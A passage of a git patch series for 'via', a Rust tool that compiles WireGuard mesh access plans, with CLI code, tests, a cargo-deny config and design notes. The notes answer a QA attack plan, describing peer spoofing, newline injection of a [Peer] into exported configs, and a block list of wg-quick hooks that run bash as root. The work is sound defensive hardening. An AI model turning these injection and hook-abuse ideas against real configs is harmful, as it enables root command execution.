Some(k) = DeviceKey::new(s).filter(|k| devs.devices.contains_key(k)) { + return Ok(k); + } + devs.by_name(s) + .map(|d| d.key.clone()) + .ok_or(format!("no device `{s}` in devices.json")) +} + +fn compile_cmd(store: &Store, c: &Compiled, rest: &[&str]) -> Result { + let mut device = None; + let mut format = "json"; + let mut it = rest.iter(); + while let Some(a) = it.next() { + match *a { + "--device" => device = Some(*it.next().ok_or("--device needs a device")?), + "--format" => format = it.next().ok_or("--format needs json or cbor")?, + other => return Err(format!("compile: unexpected `{other}`")), + } + } + let device = device.ok_or("compile needs --device ")?; + if !c.has_plans() { + for p in c.errors() { + eprintln!("{p}"); + } + eprintln!("via: no plans: the snapshots have errors, so nothing compiles"); + return Ok(1); + } + let key = find_device(store, device)?; + let plan = &c.plans[&key]; + let errors = c.errors().filter(|p| p.path.starts_with("roads/")).count(); + if errors > 0 { + eprintln!("via: {errors} road problems: those roads grant nothing (see `via check`)"); + } + let mut out = std::io::stdout().lock(); + match format { + "json" => out.write_all(plan.to_json().as_bytes()), + "cbor" => out.write_all(&proto::Envelope::plan(plan.clone()).encode()), + f => return Err(format!("--format `{f}`: json or cbor")), + } + .map_err(|e| format!("cannot write the plan: {e}"))?; + Ok(0) +} + +fn parse_place(store: &Store, s: &str) -> Result { + let (kind, v) = s.split_once(':').ok_or(format!( + "`{s}` is not a place like service: or device:" + ))?; + match kind { + "device" => Ok(Place::Device(find_device(store, v)?)), + "exit" => Ok(Place::Exit(find_device(store, v)?)), + "subnet" => roads::net::Net::parse_canonical(v) + .map(Place::Subnet) + .map_err(|_| format!("`{v}` is not a canonical subnet")), + "service" => roads::Hostname::new(v) + .map(Place::Service) + .ok_or(format!("`{v}` is not a hostname")), + _ => Err(format!( + "`{kind}`: a place is device:, exit:, subnet: or service:" + )), + } +} + +fn explain_cmd(store: &Store, c: &Compiled, device: &str, place: &str) -> Result { + if !c.has_plans() { + eprintln!("via: no plans: the snapshots have errors, so nothing compiles"); + return Ok(1); + } + let devs = store.devices.as_ref().expect("plans exist"); + let key = find_device(store, device)?; + let target = parse_place(store, place)?; + let name = |k: &DeviceKey| devs.devices.get(k).map(|d| d.name.clone()); + let who = name(&key).unwrap_or_default(); + let roads = explain(c, devs, &key, &target); + if roads.is_empty() { + println!("{who} cannot reach {place}: no road allows it."); + let mentioning: Vec<&roads::Road> = store + .roads + .iter() + .filter(|r| r.object.as_ref() == Some(&target)) + .collect(); + if !mentioning.is_empty() { + println!("Roads about {place} that grant {who} nothing:"); + for r in mentioning { + let why: Vec = c + .problems + .iter() + .filter(|p| p.path == r.path) + .map(|p| format!("{} [{}]", p.message, p.code)) + .collect(); + let why = if why.is_empty() { + format!("{who} is not its subject") + } else { + why.join("; ") + }; + println!(" {} {} ({why})", r.id, r.sentence(&name)); + } + } + return Ok(1); + } + println!( + "{who} can reach {place} because of {} road{}:", + roads.len(), + if roads.len() == 1 { "" } else { "s" } + ); + for id in &roads { + let r = store + .roads + .iter() + .find(|r| &r.id == id) + .expect("a granting road"); + println!(" {} {} {}", r.id, r.sentence(&name), r.path); + } + Ok(0) +} diff --git a/crates/via-cli/tests/cli.rs b/crates/via-cli/tests/cli.rs new file mode 100644 index 0000000..300d75a --- /dev/null +++ b/crates/via-cli/tests/cli.rs @@ -0,0 +1,165 @@ +//! The `via` binary on the fixture store: check, compile, explain, exit codes, and byte-identical output +//! across separate processes (QA R-52). + +use std::path::PathBuf; +use std::process::{Command, Output}; + +const NOW: &str = "2026-11-25T12:00:00+01:00"; + +fn home() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../roads/tests/fixtures/home") +} + +fn via(store: &std::path::Path, args: &[&str]) -> Output { + Command::new(env!("CARGO_BIN_EXE_via")) + .arg("--store") + .arg(store) + .args(["--now", NOW]) + .args(args) + .output() + .unwrap() +} + +fn text(o: &Output) -> String { + String::from_utf8_lossy(&o.stdout).into_owned() +} + +#[test] +fn check_passes_on_the_home_store_and_reports_the_inactive_roads() { + let o = via(&home(), &["check"]); + assert_eq!(o.status.code(), Some(0), "{}", text(&o)); + let out = text(&o); + assert!(out.contains("inactive: roads/m6v0hp-petr-git-expired.md:6: until: expired at 2026-11-01T00:00:00+01:00 [road.expired]"), "{out}"); + assert!(out.contains("10 road files, 0 with errors"), "{out}"); +} + +#[test] +fn check_fails_on_a_bad_road_and_names_file_and_field() { + let tmp = tempfile::tempdir().unwrap(); + copy_store(tmp.path()); + std::fs::write( + tmp.path().join("roads/a00005-untill.md"), + std::fs::read(home().join("../invalid/roads/a00005-untill.md")).unwrap(), + ) + .unwrap(); + let o = via(tmp.path(), &["check"]); + assert_eq!(o.status.code(), Some(1)); + assert!( + text(&o).contains("roads/a00005-untill.md:6: untill: unknown key [key.unknown]"), + "{}", + text(&o) + ); +} + +#[test] +fn compile_prints_the_golden_plan_and_the_same_bytes_in_every_process() { + let want = std::fs::read_to_string(home().join("expected/jana-phone.json")).unwrap(); + let first = via(&home(), &["compile", "--device", "jana-phone"]); + assert_eq!(first.status.code(), Some(0)); + assert_eq!(text(&first), want); + for _ in 0..4 { + assert_eq!( + via(&home(), &["compile", "--device", "jana-phone"]).stdout, + first.stdout + ); + } + let by_key = via( + &home(), + &[ + "compile", + "--device", + "device:AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", + ], + ); + assert_eq!(by_key.stdout, first.stdout); +} + +#[test] +fn compile_cbor_is_a_valid_plan_message() { + let o = via( + &home(), + &["compile", "--device", "router", "--format", "cbor"], + ); + assert_eq!(o.status.code(), Some(0)); + let env = proto::Envelope::decode(&o.stdout).unwrap(); + let proto::Body::Plan { plan, .. } = env.body else { + panic!("not a plan message") + }; + assert_eq!(plan.name, "router"); + assert!(plan.classic); +} + +#[test] +fn explain_allowed_and_denied() { + let o = via( + &home(), + &["explain", "jana-phone", "service:photos.home.arpa"], + ); + assert_eq!(o.status.code(), Some(0)); + let out = text(&o); + assert!( + out.starts_with("jana-phone can reach service:photos.home.arpa because of 2 roads:"), + "{out}" + ); + assert!(out.contains("7tq0mz") && out.contains("k3f9q2")); + + let o = via(&home(), &["explain", "petr-phone", "service:git.home.arpa"]); + assert_eq!(o.status.code(), Some(1)); + let out = text(&o); + assert!( + out.starts_with("petr-phone cannot reach service:git.home.arpa: no road allows it."), + "{out}" + ); + assert!( + out.contains("m6v0hp") && out.contains("[road.expired]"), + "the expired road is shown as granting nothing" + ); +} + +#[test] +fn usage_and_unknown_devices_exit_2() { + assert_eq!(via(&home(), &["frobnicate"]).status.code(), Some(2)); + assert_eq!( + via(&home(), &["compile", "--device", "nobody"]) + .status + .code(), + Some(2) + ); + assert_eq!( + via(&home(), &["explain", "jana-phone", "photos"]) + .status + .code(), + Some(2) + ); + let o = Command::new(env!("CARGO_BIN_EXE_via")) + .args(["--now", "tomorrow", "check"]) + .output() + .unwrap(); + assert_eq!(o.status.code(), Some(2)); +} + +#[test] +fn a_broken_snapshot_compiles_nothing() { + let tmp = tempfile::tempdir().unwrap(); + copy_store(tmp.path()); + std::fs::write( + tmp.path().join("devices.json"), + "{\"format\": 1, \"devices\": [], \"extra\": 1}", + ) + .unwrap(); + let o = via(tmp.path(), &["compile", "--device", "jana-phone"]); + assert_eq!(o.status.code(), Some(1)); + assert!(o.stdout.is_empty(), "no plan is printed"); + assert!(String::from_utf8_lossy(&o.stderr).contains("nothing compiles")); +} + +fn copy_store(to: &std::path::Path) { + std::fs::create_dir_all(to.join("roads")).unwrap(); + for f in ["directory.json", "devices.json"] { + std::fs::copy(home().join(f), to.join(f)).unwrap(); + } + for e in std::fs::read_dir(home().join("roads")).unwrap() { + let e = e.unwrap(); + std::fs::copy(e.path(), to.join("roads").join(e.file_name())).unwrap(); + } +} diff --git a/deny.toml b/deny.toml new file mode 100644 index 0000000..43c1ee6 --- /dev/null +++ b/deny.toml @@ -0,0 +1,33 @@ +# cargo deny check: licences, advisories, bans and sources for via-core. + +[graph] +all-features = true + +[advisories] +# RustSec database; unmaintained and unsound crates fail the check as well. +yanked = "deny" + +[licenses] +# Permissive licences only, plus this workspace's own CPAL-1.0. +allow = [ + "MIT", + "Apache-2.0", + "Apache-2.0 WITH LLVM-exception", + "BSD-2-Clause", + "BSD-3-Clause", + "ISC", + "Unicode-3.0", + "Zlib", + "CPAL-1.0", +] +confidence-threshold = 0.9 + +[bans] +multiple-versions = "warn" +wildcards = "deny" +allow-wildcard-paths = true + +[sources] +unknown-registry = "deny" +unknown-git = "deny" +allow-registry = ["https://github.com/rust-lang/crates.io-index"] From b9c0e764e609959edba5fa1548a87c87e15beaa9 Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 07:55:38 +0100 Subject: [PATCH 03/25] [docs] Day 2 as built: QA's attack plan answered case by case, the property design, gaps and open questions --- docs/02_via-core.md | 67 +++++++++++++++++++++++++++++++++++++++------ docs/FORMATS.md | 17 +++++++----- 2 files changed, 68 insertions(+), 16 deletions(-) diff --git a/docs/02_via-core.md b/docs/02_via-core.md index 0607b68..efb52e8 100644 --- a/docs/02_via-core.md +++ b/docs/02_via-core.md @@ -105,24 +105,69 @@ now ───────────────────────── - Plans are not signed: Day 3 signs them with Tessera; `proto` leaves room (a new message version). - No people directory exists in Fundamentum; `directory.json` is our own snapshot format until it does. +- Groups are **flat**: members are people, never groups, so there is no nesting to resolve and no cycle + (QA R-13 to R-15 do not arise; a group id among the members is `directory.member`). - Multi-hop exits (`via` on `exits-through`) are refused, not compiled: Day 6. - `via` on `can-reach` is a path hint (relay or exit) carried in the peer; the engine decides what it means. -- No `via export` of a classic WireGuard config: Day 5. +- No `via export` of a classic WireGuard config: Day 5. Its exporter must write no free text (road notes, + names) into the file; names here are already free of line breaks and hidden characters (QA R-42). - No Custos approval field on roads: approvals are Day 4, and a new key is an *unknown key* to this build. +- `explain` and `check` answer as an administrator. A web view (Day 5) must scope them to the asker (QA R-49, + R-51): today they name every road. +- Firewall rules are one per (source, destination, port range): a group of 1,000 people to 1,000 places is + 10⁶ rules, not grouped into sets (QA R-59). Measured instead (QA R-56): 10,000 roads, 2,000 devices → + 249,400 grants and 5,978 rules in 0.59 s (release) and 3.1 s (debug), `tests/attacks.rs`. - The road ports have no ICMP types, only `icmp` as a whole. +- IPv6 routes that reach the internet (a delegated global /64) are refused like IPv4 public routes. -## Tests (written before the code) +## What QA's attack plan changed (`Via/qa/02_roads_attacks.md`) + +QA wrote an adversarial plan before reading this code. The five it ranked most likely: + +| Case | Answer | Where | +|:--|:--|:--| +| **R-10** a client's allowed IPs on the receiving side are wider than its address, so it can spoof another person | A peer gets its own `/32` from every road where it is the client; anything wider is only ever a route *it* serves (its subnet, or `0/0` as an exit). Every firewall source is a device `/32` sitting on that device's own peer, and no device address may lie inside any route (`devices.address`), so WireGuard's longest-prefix match never accepts that source from another peer | property P-1 (`least_privilege.rs`) checks every rule's source on every plan; `attacks.rs::r10_*`; mutation-checked (a `/24` there fails the property) | +| **R-35** `untill` accepted silently through `serde(flatten)` | Road headers are not serde at all: every key is checked against the list, unknown keys are `key.unknown`. Fixtures `a00005-untill.md` and `a00006-until-capital.md`; a rung-1 guard fails if `serde(flatten` appears in any source | `validation.rs` | +| **R-26** the plan has no expiry | `Plan.expires`: the earliest `until` of every road the plan was built from, on the subject's and the serving device's plans alike | `revocation.rs::each_plan_carries_its_own_expiry_on_both_sides` | +| **R-42** a newline in a name injects a `[Peer]` into an exported config | Person and group names refuse controls (CR, LF, U+0085), U+2028/2029, zero-width and bidi controls; device names are `[a-z0-9-]` only | fixtures `name-newline.*`, `name-bidi`; `attacks.rs::r42_*` | +| **R-02** aggregation rounds two grants up to a supernet | There is no aggregation: an allowed IP or firewall destination is exactly a road's subnet. The property's oracle demands exact equality, and is mutation-checked (widening a subnet grant to its route fails it) | `least_privilege.rs` | + +Also taken from the plan: raw blocks refuse wg-quick hooks (`PreUp`, `PostUp`, `PreDown`, `PostDown`, +`SaveConfig`, `Table`, `FwMark`, any case and spacing; `body.raw-hook`, R-41); routes and addresses refuse +public, loopback, link-local, multicast and IPv4-embedding IPv6 ranges (R-05, R-07, R-08); a kill switch wins over +going direct to the internet (`direct.kill-switch`, R-47); `until` needs an offset and is exclusive (R-22, +R-23); timestamps at the extremes do not panic (R-25); symbolic links, folders and other files in `roads/` are +reported, never read (R-32); cross-process output is byte-identical (R-52, `via-cli/tests/cli.rs`). + +The property design is QA's: small universes (routes in `10.0.0.0/22`, road subnets /22 to /32 inside it), +`until` on the boundary, 10% custom roads carrying `AllowedIPs = 0.0.0.0/0`, 5% invalid roads, and an oracle +that reads the generated world with `u32` arithmetic and no `roads` code. Differences, and why: + +- the world is drawn from a byte string rather than composed strategies, so proptest still shrinks it; +- no IPv4-mapped forms in the generator: the parser refuses them outright (fixture `a00016-mapped-ipv6.md`); +- P-2 (completeness) is not a property: the oracle is an upper bound, and the compiler also refuses classic peers + without `classic: true`, which the oracle does not model. The fixtures check the positive cases instead; +- P-5 (permutations) and P-6 (revocation completeness) are fixture tests (`determinism.rs`, `revocation.rs`); +- P-3 and P-4 leave out exit rules: removing one of two conflicting exit roads is *meant* to let the other apply; +- R-55 (renaming every id gives an isomorphic plan) is not done. + +## Tests + +The doc came first; the tests and the code were then written together in one sitting, not as tests-then-code +commits, and the history shows that. | # | Mandatory test | File | |:--|:--|:--| -| 1 | Validation: every rule has a failing fixture naming the file and the field; a meta-test fails if a rule has none | `crates/roads/tests/validation.rs`, fixtures in `crates/roads/tests/fixtures/invalid/` | -| 2 | Revocation: deleting a road, expiring it, removing a device from a person (and a person from a group) removes the access | `crates/roads/tests/revocation.rs` | -| 3 | Least privilege: property test (proptest) — no plan contains an allowed IP or firewall rule that no active road grants; adding an invalid road changes no plan | `crates/roads/tests/least_privilege.rs` | -| 4 | Determinism: byte-identical JSON and CBOR twice and with shuffled input; golden plans | `crates/roads/tests/determinism.rs`, `crates/proto/tests/determinism.rs` | -| 5 | `explain` returns exactly the allowing roads, and nothing when denied | `crates/roads/tests/explain.rs` | -| 6 | Custom roads round-trip unchanged: file → render, and through the plan and CBOR | `crates/roads/tests/custom.rs`, `crates/proto/tests/roundtrip.rs` | +| 1 | Validation: every rule has a failing fixture naming the file and the field; a meta-test fails if a rule has none; a failing road changes no plan byte | `crates/roads/tests/validation.rs`, fixtures in `crates/roads/tests/fixtures/invalid/` (`expect.txt`) | +| 2 | Revocation: deleting a road, expiring it, moving or removing a device, or a person from a group, removes the access on both sides | `crates/roads/tests/revocation.rs` | +| 3 | Least privilege: proptest, 5,000 cases for P-1 and 500 each for the invalid/expired and P-3/P-4 properties | `crates/roads/tests/least_privilege.rs` | +| 4 | Determinism: byte-identical twice, with shuffled input, with CRLF files, against golden plans; CBOR twice and decode → encode, a pinned digest | `crates/roads/tests/determinism.rs`, `crates/proto/tests/roundtrip.rs` | +| 5 | `explain` returns exactly the allowing roads, each one enough alone, and nothing when denied | `crates/roads/tests/explain.rs` | +| 6 | Custom roads round-trip unchanged: file → render, through the plan and through CBOR | `crates/roads/tests/custom.rs`, `crates/proto/tests/roundtrip.rs` | -Plus the protocol's refusals (wrong version, unknown field, trailing bytes, oversize) and the CLI on fixtures. +Plus QA's cases in `crates/roads/tests/attacks.rs`, the protocol's refusals in `crates/proto/tests/roundtrip.rs`, +and the binary in `crates/via-cli/tests/cli.rs`. Dates use `jiff`: `chrono` is flagged unmaintained +(RUSTSEC-2026-0543), which `cargo deny` refuses. ## Open questions @@ -133,3 +178,7 @@ Plus the protocol's refusals (wrong version, unknown field, trailing bytes, over This build takes it from `devices.json`. 4. Is `classic: true` the right acknowledgement, or should classic devices be refused unless a separate expert switch is on? +5. Should raw blocks also refuse `Address` and `DNS` (they change the host; QA R-41 lists `Address`)? Refusing + them would make a router's full config fail to import on Day 5. +6. Should a global IPv6 /64 be routable into the mesh? Refused for now. +7. A road file with a BOM is refused (`file.encoding`) rather than read; QA R-39 would read it. Which? diff --git a/docs/FORMATS.md b/docs/FORMATS.md index 23eff6b..881c772 100644 --- a/docs/FORMATS.md +++ b/docs/FORMATS.md @@ -73,7 +73,7 @@ belongs, or a single value where a list belongs, is `key.type`. A required key t | `group:` | a group in `directory.json` | as a person id | | `device:` | a device in `devices.json` | the Tessera device subkey: 32-byte Ed25519 public key, base64url without padding, 43 characters, canonical | | `app:` | a Domi app on every device | the Tessera id: 1–32 of `[a-z0-9-]`, not starting or ending with `-` | -| `subnet:` | an IPv4 or IPv6 network | canonical: host bits zero (`192.168.100.0/24`, not `192.168.100.7/24`) | +| `subnet:` | an IPv4 or IPv6 network | canonical: host bits zero (`192.168.100.0/24`, not `192.168.100.7/24`) and in the usual text form; IPv6 that embeds IPv4 (`::ffff:0:0/96`, `::/96`, `64:ff9b::/96`, `64:ff9b:1::/48`, `2002::/16`) is `ref.format`: write the IPv4 subnet | | `service:` | an Ianitor host, served by a device in `devices.json` | Ianitor's hostname rules: lowercase, labels of `[a-z0-9-]` not starting or ending with `-`, at most 63 per label and 253 in all, no wildcard, no trailing dot, not an IP address | | `exit:` | a device with `exit: true` | a device key | @@ -84,7 +84,9 @@ Everything after the closing `---`. - For `custom`, the body is exactly one **raw block**: a line ```` ```raw ````, the raw lines, and a last line ```` ``` ````. The raw bytes between the two fence lines are kept byte for byte — unknown WireGuard keys, CR characters, trailing spaces, even ```` ``` ```` lines inside — and are never interpreted (`body.raw-missing` - when it is absent). + when it is absent). One thing is refused inside: a line whose key is a wg-quick hook or routing switch, in any case and + spacing — `PreUp`, `PostUp`, `PreDown`, `PostDown`, `SaveConfig`, `Table`, `FwMark` (`body.raw-hook`): wg-quick + runs the first four with bash as root. - For every other verb the body is a free-text note, kept and never interpreted. A raw block there is an error (`body.raw-outside-custom`), so nobody believes it applies. @@ -118,6 +120,7 @@ Valid roads that grant nothing right now, reported with their reason (not errors | `road.no-devices` | the subject has no devices | | `road.self` | every subject device is the object's own device | | `exit.conflict` | for one device: active `exits-through` roads to two different exits (that device gets neither; reported per road, naming the device) | +| `direct.kill-switch` | for one device with a kill switch: a `goes-direct` road to a subnet that reaches the internet; the kill switch wins and the subnet stays in the tunnel (reported per road, naming the device). Going direct to a private subnet stays allowed | ## `directory.json` — the people directory snapshot @@ -133,7 +136,7 @@ Valid roads that grant nothing right now, reported with their reason (not errors |:--|:--| | `format` | `1` (`snapshot.format`) | | `people[].id` | a person id (`directory.id`), unique (`directory.duplicate`) | -| `people[].name` | 1–100 characters, one line (`directory.name`) | +| `people[].name` | 1–100 characters, no leading or trailing space, and none of: control characters (CR, LF, U+0085 included), U+2028, U+2029, zero-width characters U+200B–U+200F and U+2060–U+2069, bidi controls U+202A–U+202E, U+FEFF (`directory.name`) — so a name can never carry a line into an exported config | | `groups[].id` | a group id, unique among groups | | `groups[].name` | as a person's name | | `groups[].members` | person ids that exist, no repeats (`directory.member`) | @@ -160,11 +163,11 @@ Unknown fields, bad JSON and a missing file are `snapshot.json`. | `key` | — | a device key (`devices.key`), unique (`devices.duplicate`) | | `name` | — | 1–64 characters of `[a-z0-9-]`, unique (`devices.name`) | | `owner` | none | a person id in the directory (`devices.owner`); a device with no owner is reached only by `device:` roads | -| `address` | — | the device's mesh address, one IPv4 or IPv6 address, unique, not inside any device's routes (`devices.address`) | +| `address` | — | the device's mesh address, one IPv4 or IPv6 address, unique, not inside any device's routes, not loopback, link-local, multicast or IPv4-embedding IPv6 (`devices.address`) | | `classic` | `false` | a classic WireGuard peer, **not post-quantum** | | `exit` | `false` | offers itself as an exit | | `relay` | `false` | may be named by `via` | -| `routes` | `[]` | canonical subnets this device routes for the mesh; not `/0`; no overlap with another device's (`devices.route`, `devices.overlap`) | +| `routes` | `[]` | canonical subnets this device routes for the mesh: private only, so not `/0`, nothing that reaches the internet (use an exit), nothing loopback, link-local, multicast, reserved or IPv4-embedding; no overlap with another device's (`devices.route`, `devices.overlap`). This is also why two peers of one device can never hold the same prefix | | `services[].host` | — | an Ianitor hostname, unique across devices (`devices.service`) | | `services[].ports` | — | a non-empty port list (`devices.ports`) | @@ -178,14 +181,14 @@ entry. |:--|:--| | `format` | `1` | | `device`, `name`, `address`, `classic` | this device | -| `expires` | the earliest `until` (UTC, `Z`) of the roads this plan was built from; compile again by then; `null` if none | +| `expires` | the earliest `until` (UTC, `Z`) of every road this plan was built from, on the subject's plan and on the serving device's alike; the engine must stop applying the plan at that instant even if nothing recompiles (QA R-26); `null` if none | | `peers[]` | `key`, `name`, `address`, `classic` (*not post-quantum* when true), `allowed_ips` (sorted CIDRs), `via` (a path hint or `null`), `roads` | | `firewall.default` | always `"deny"` | | `firewall.rules[]` | `direction` (`in`: to this device's address; `forward`: to a subnet it routes, or to the internet as an exit), `src` (CIDR), `dst` (CIDR or `"internet"`), `proto` (`any`, `tcp`, `udp`, `icmp`), `ports` (`[lo, hi]` or `null`), `roads` | | `dns[]` | `host`, `address`, `roads`: names this device may resolve to a mesh address | | `exit` | `{through, roads}` or `null` | | `kill_switch` | `{through, roads}` (`through` is `null` when two kill-switch roads disagree: only the mesh) or `null` | -| `direct[]` | `{subnet}` or `{app}` with `roads`: bypasses the tunnel (split tunnelling) | +| `direct[]` | `{app, subnet, roads}`: traffic to `subnet` bypasses the tunnel (split tunnelling); `app` is `null` for all traffic, or the one app whose traffic goes direct | | `custom[]` | `{road, classic, raw}`: the raw block verbatim, **never checked by the compiler** | `internet` is every address except `0.0.0.0/8`, `10.0.0.0/8`, `100.64.0.0/10`, `127.0.0.0/8`, `169.254.0.0/16`, From d02bbff41ca8bf7a1f36d5c681e26aa854294594 Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 08:07:15 +0100 Subject: [PATCH 04/25] [roads] QA R-55: renaming every id gives an isomorphic plan, problems and explain A proptest (300 seeds) renames every road id, person id, group id, device key, device name and service hostname of the home store plus five roads that hit the order-sensitive paths (an exit conflict each way round, two kill switches through different exits, two path hints to one peer), compiles both, maps the output back and compares plans, problems and explain. Mutation-checked and reverted: 'first exit by key wins' on an exit conflict, and 'smallest road id wins' on disagreeing kill switches, each fail the property. --- crates/roads/tests/rename.rs | 391 +++++++++++++++++++++++++++++++++++ 1 file changed, 391 insertions(+) create mode 100644 crates/roads/tests/rename.rs diff --git a/crates/roads/tests/rename.rs b/crates/roads/tests/rename.rs new file mode 100644 index 0000000..c9a3093 --- /dev/null +++ b/crates/roads/tests/rename.rs @@ -0,0 +1,391 @@ +//! QA R-55: renaming every id gives an isomorphic plan. +//! +//! Road ids are random, so nothing the compiler decides may depend on how ids sort. This test takes the home +//! store plus roads that hit the order-sensitive paths (two exits for one device, two kill switches through +//! different exits, two roads to one peer with different `via`), renames every road id, person id, group id, +//! device key, device name and service hostname consistently, compiles both, maps the renamed output back and +//! compares: plans, problems and `explain` must be the same up to the renaming. +//! +//! Regression-checked by reintroducing the bug, twice, and reverting: (1) the exit conflict resolved as "the +//! first exit by key wins" instead of "neither"; (2) two disagreeing kill switches resolved as "the one with +//! the smallest road id wins" instead of "no exit". Each made the property fail within a few cases +//! ("the plan of mark-pc depends on how ids are spelt"). + +mod common; + +use common::{Parts, key, now}; +use proptest::prelude::*; +use roads::{DeviceKey, Place, Store, compile}; +use serde_json::Value; +use std::collections::{BTreeMap, BTreeSet}; + +const ALPHA: &[u8] = b"0123456789abcdefghjkmnpqrstvwxyz"; + +/// Roads that exercise the paths where an order could leak into the result. +fn extra_roads() -> Vec<(String, String)> { + let mark_pc = key(1); + let home = key(2); + let friend = key(6); + let road = |id: &str, slug: &str, lines: &[String]| { + ( + format!("{id}-{slug}.md"), + format!( + "---\nid: {id}\n{}\ncreated: 2026-11-25T10:00:00Z\n---\n", + lines.join("\n") + ), + ) + }; + vec![ + // A second exit for mark-pc: with p4n6rb this is an exit conflict, so mark-pc exits through neither. + road( + "q7r2kd", + "mark-pc-exits-friend", + &[ + format!("subject: device:{mark_pc}"), + "verb: exits-through".into(), + format!("object: exit:{friend}"), + ], + ), + // A second kill switch through another exit: the kill switch goes through no exit at all. + road( + "t3w8yn", + "mark-pc-kill-friend", + &[ + format!("subject: device:{mark_pc}"), + "verb: never-online-without".into(), + format!("object: exit:{friend}"), + ], + ), + // Two roads from jana to the home server with different path hints: the peer gets no hint. + road( + "v5b1jx", + "jana-git-via-friend", + &[ + "subject: person:jana".into(), + "verb: can-reach".into(), + "object: service:git.home.arpa".into(), + format!("via: device:{friend}"), + ], + ), + road( + "y2n4fs", + "jana-server-via-home", + &[ + "subject: person:jana".into(), + "verb: can-reach".into(), + format!("object: device:{home}"), + "ports: [tcp/22]".into(), + format!("via: device:{home}"), + ], + ), + // Petr's second exit, the other way round: a conflict whose roads sort the other way. + road( + "0aa9zz", + "petr-exits-home", + &[ + "subject: person:petr".into(), + "verb: exits-through".into(), + format!("object: exit:{home}"), + ], + ), + ] +} + +fn base_parts() -> Parts { + let mut p = Parts::home(); + for (name, text) in extra_roads() { + p = p.with_road(&name, &text); + } + p +} + +struct Rng(u64); + +impl Rng { + fn next(&mut self) -> u64 { + // splitmix64 + self.0 = self.0.wrapping_add(0x9E37_79B9_7F4A_7C15); + let mut z = self.0; + z = (z ^ (z >> 30)).wrapping_mul(0xBF58_476D_1CE4_E5B9); + z = (z ^ (z >> 27)).wrapping_mul(0x94D0_49BB_1331_11EB); + z ^ (z >> 31) + } + fn word(&mut self, alphabet: &[u8], len: usize) -> String { + (0..len) + .map(|_| alphabet[(self.next() % alphabet.len() as u64) as usize] as char) + .collect() + } +} + +/// old -> new, for every kind of id at once (the kinds never share a spelling in the home store). +struct Renaming { + to_new: BTreeMap, + to_old: BTreeMap, +} + +impl Renaming { + fn new(parts: &Parts, seed: u64) -> Renaming { + let mut rng = Rng(seed); + let dir: Value = serde_json::from_slice(&parts.directory).unwrap(); + let devs: Value = serde_json::from_slice(&parts.devices).unwrap(); + let mut taken: BTreeSet = BTreeSet::new(); + let mut olds: Vec<(String, u8)> = Vec::new(); // (old, kind) + for (name, _) in &parts.roads { + olds.push((name.split('-').next().unwrap().to_string(), 0)); + } + for p in dir["people"].as_array().unwrap() { + olds.push((p["id"].as_str().unwrap().to_string(), 1)); + } + for g in dir["groups"].as_array().unwrap() { + olds.push((g["id"].as_str().unwrap().to_string(), 1)); + } + for d in devs["devices"].as_array().unwrap() { + olds.push((d["key"].as_str().unwrap().to_string(), 2)); + olds.push((d["name"].as_str().unwrap().to_string(), 3)); + for s in d["services"].as_array().into_iter().flatten() { + olds.push((s["host"].as_str().unwrap().to_string(), 4)); + } + } + for (o, _) in &olds { + taken.insert(o.clone()); + } + let mut to_new = BTreeMap::new(); + for (old, kind) in olds { + let new = loop { + let cand = match kind { + 0 => rng.word(ALPHA, 6), + 1 => { + let len = 1 + (rng.next() % 12) as usize; + rng.word( + b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-", + len, + ) + } + 2 => { + let mut b = [0u8; 32]; + for x in b.iter_mut() { + *x = rng.next() as u8; + } + DeviceKey::from_bytes(&b).to_string() + } + 3 => format!("n{}", rng.word(b"abcdefghijklmnopqrstuvwxyz0123456789-", 7)), + _ => format!("{}.test", rng.word(b"abcdefghijklmnopqrstuvwxyz", 8)), + }; + if taken.insert(cand.clone()) { + break cand; + } + }; + to_new.insert(old, new); + } + let to_old = to_new.iter().map(|(a, b)| (b.clone(), a.clone())).collect(); + Renaming { to_new, to_old } + } + + fn new_of(&self, s: &str) -> String { + self.to_new.get(s).cloned().unwrap_or_else(|| s.to_string()) + } + + /// A `kind:value` reference with its value renamed (subnets are left alone). + fn reference(&self, r: &str) -> String { + match r.split_once(':') { + Some((kind, v)) if kind != "subnet" => format!("{kind}:{}", self.new_of(v)), + _ => r.to_string(), + } + } + + fn apply(&self, parts: &Parts) -> Parts { + let mut dir: Value = serde_json::from_slice(&parts.directory).unwrap(); + for p in dir["people"].as_array_mut().unwrap() { + p["id"] = Value::String(self.new_of(p["id"].as_str().unwrap())); + } + for g in dir["groups"].as_array_mut().unwrap() { + g["id"] = Value::String(self.new_of(g["id"].as_str().unwrap())); + for m in g["members"].as_array_mut().unwrap() { + *m = Value::String(self.new_of(m.as_str().unwrap())); + } + } + let mut devs: Value = serde_json::from_slice(&parts.devices).unwrap(); + for d in devs["devices"].as_array_mut().unwrap() { + for k in ["key", "name", "owner"] { + if let Some(v) = d.get(k).and_then(|v| v.as_str()).map(|s| self.new_of(s)) { + d[k] = Value::String(v); + } + } + for s in d + .get_mut("services") + .and_then(|s| s.as_array_mut()) + .into_iter() + .flatten() + { + s["host"] = Value::String(self.new_of(s["host"].as_str().unwrap())); + } + } + let roads = parts + .roads + .iter() + .map(|(name, bytes)| { + let (id, rest) = name.split_once('-').unwrap(); + let text = String::from_utf8(bytes.clone()).unwrap(); + let mut out = String::new(); + let mut in_header = 0; + for line in text.split_inclusive('\n') { + if line.trim_end() == "---" { + in_header += 1; + out.push_str(line); + continue; + } + if in_header == 1 + && let Some((k, v)) = line.trim_end_matches(['\n', '\r']).split_once(": ") + { + let v2 = match k { + "id" => self.new_of(v), + "subject" | "object" | "via" => self.reference(v), + _ => v.to_string(), + }; + out.push_str(&format!("{k}: {v2}\n")); + continue; + } + out.push_str(line); + } + (format!("{}-{rest}", self.new_of(id)), out.into_bytes()) + }) + .collect(); + Parts { + roads, + directory: serde_json::to_vec(&dir).unwrap(), + devices: serde_json::to_vec(&devs).unwrap(), + } + } + + /// Every string that is exactly a renamed id goes back to its old spelling. + fn back(&self, v: &mut Value) { + match v { + Value::String(s) => { + if let Some(o) = self.to_old.get(s.as_str()) { + *s = o.clone(); + } + } + Value::Array(a) => a.iter_mut().for_each(|x| self.back(x)), + Value::Object(m) => m.values_mut().for_each(|x| self.back(x)), + _ => {} + } + } + + 